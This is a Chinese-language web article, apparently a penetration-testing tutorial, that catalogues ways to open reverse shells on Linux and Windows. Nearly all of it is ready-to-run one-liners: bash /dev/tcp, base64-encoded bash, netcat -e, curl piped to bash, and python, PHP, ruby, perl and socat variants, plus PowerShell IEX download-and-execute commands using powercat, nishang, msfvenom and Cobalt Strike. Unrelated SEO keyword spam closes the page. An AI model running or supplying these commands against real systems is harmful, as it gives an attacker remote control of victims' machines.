千家信息网

反弹shell的方法有哪些

发表于:2026-11-01 作者:千家信息网编辑
千家信息网最后更新 2026年11月01日,这篇文章主要介绍反弹shell的方法有哪些,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!前言什么是反弹shell(reverse shell)?就是控制端监听某TCP/UDP端
千家信息网最后更新 2026年11月01日反弹shell的方法有哪些

这篇文章主要介绍反弹shell的方法有哪些,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!

前言

什么是反弹shell(reverse shell)?

就是控制端监听某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

为什么需要反弹shell?

反弹shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形。在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入。以下详细介绍Windows和Linux系统下反弹shell的几种方式。

一、linux下反弹shell

实验环境:

Win10 192.168.2.102 NC监听

Kali 192.168.2.103 自带工具

1. bash反弹

bash -i >& /dev/tcp/192.168.2.102/7777 0>&1

在特殊情况可以使用base64编码执行bash反弹shell

编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTAyLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}'

在kali中执行会解析成编码前的bash命令

2.nc反弹

nc -e /bin/bash 192.168.2.102 4444

-e后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell(/bin/bash),也就是反弹一个shell给远程,可以看到远程已经成功反弹到了shell,并且可以执行命令。

3.curl反弹

Kali开启apache服务,把bash命令写入html文件,只要文本包含bash一句话即可。

curl 192.168.2.103/bash.html|bash

4.whois反弹

whois -h 192.168.2.102 -p 4444 `pwd` //反弹的shell只能执行后面带的命令

5.python反弹

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.102",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

6.PHP反弹

php反弹shell和python的方式差不多

php -r '$sock=fsockopen("192.168.2.102",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

7.ruby反弹

ruby -rsocket -e'f=TCPSocket.open("192.168.2.102",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

8.socat反弹

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.2.102:4444

9.Perl反弹

perl -e 'use Socket;$i="192.168.2.102";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

二、Windows下反弹shell

1. powercat反弹

①用IEX下载远程PS1脚本回来权限绕过执行

使用powershell执行IEX (New-Object

System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.2.103 -p 4444 -e cmd

② powercat下载地址:https://github.com/besimorhino/powercat //下载到本地执行

powercat为Powershell版的Netcat,实际上是一个powershell的函数,使用方法类似Netcat

2.NC反弹

服务端反弹:nc 192.168.2.103 4444 -e c:\windows\system32\cmd.exe

3.nishang反弹

Nishang下载地址:https://github.com/samratashok/nishang

Nishang是一个基于PowerShell的攻击框架,整合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell

将nishang下载到攻击者本地,在目标机使用powershell执行以下命令

IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.2.103 -port 4444

4.Reverse UDP shell

攻击机监听 nc -lvup 4444

利用上面下载的还是放在攻击机上在目标机中powershell执行以下命令

IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.103/nishang/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.2.103 -port 4444

5.MSF反弹

我们直接可以使用 msfvenom -l 结合关键字过滤(如cmd/windows/reverse),找出我们需要的各类反弹一句话payload的路径信息。

msfvenom -l payloads | grep 'cmd/windows/reverse'

依照前面查找出的命令生成一句话payload路径,我们使用如下的命令生成反弹一句话,然后复制粘贴到靶机上运行即可。

msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.2.103 LPORT=4444

靶机执行使用powershell执行payload

攻击机返回shell

6.Cobalt strike反弹shell

Cobalt strike的Scripted Web Delivery模块,可通过bitsadmin、powershell、python、regsvR32等进行反弹shell,类似metasploit的web_delivery模块

①运行服务端

./teamserver 192.168.2.103 123 #123为连接密码

②运行客户端:

Windows运行cobaltstrike.jar #用户名随便输入 密码123

③开启监听:

点击Cobalt Strike->Listeners

payload可选择windows/beacon_http/reverse_http

说明:其中windows/beacon 是Cobalt Strike自带的模块,包括dns,http,https,smb四种方式的监听器,windows/foreign 为外部监听器,即msf或者Armitage的监听器。

④生成powershell payload:

点击Attack -> Web Drive-by -> Scripted Web Delivery

Type选择 powershell

生成的payload:

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.2.103:8887/a'))"

⑤生成代码已经给出了,在windows上执行

以上是"反弹shell的方法有哪些"这篇文章的所有内容,感谢各位的阅读!希望分享的内容对大家有帮助,更多相关知识,欢迎关注行业资讯频道!

命令 监听 攻击 生成 一句话 端口 服务 运行 方法 地址 方式 模块 监听器 目标 编码 代表 内容 客户 客户端 密码 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 哈尔滨大商圈互联网科技有限公司 互联网金融监管科技数据 互联网科技保险 互联网通讯科技 涨乐互联网科技 科技互联网政务服务 互联网科技公司税收优惠 互联网金融 科技金融 狮子座互联网科技 银优互联网科技有限公司 郑州华宇互联网科技 广州紫鲸互联网科技 互联网科技有限公司 翻译 银行科技岗属于互联网吗 扫呗互联网科技有限公司 昆明中奇联合互联网科技 易租星互联网科技有限公司 盐城市攀科互联网科技有限公司 互联网领先科技成果宣传视频 科技互联网企业在行动 没上市的科技互联网公司 互联网金融科技委员会 以后互联网后是啥科技 科技与互联网哪个更好 互联网企业和科技型企业 湖南诚度互联网科技有限公司 黑科技 体验场景 互联网大会 每天都有哪些好的互联网科技 互联网科技创新创业项目 承德科技产业互联网平台
0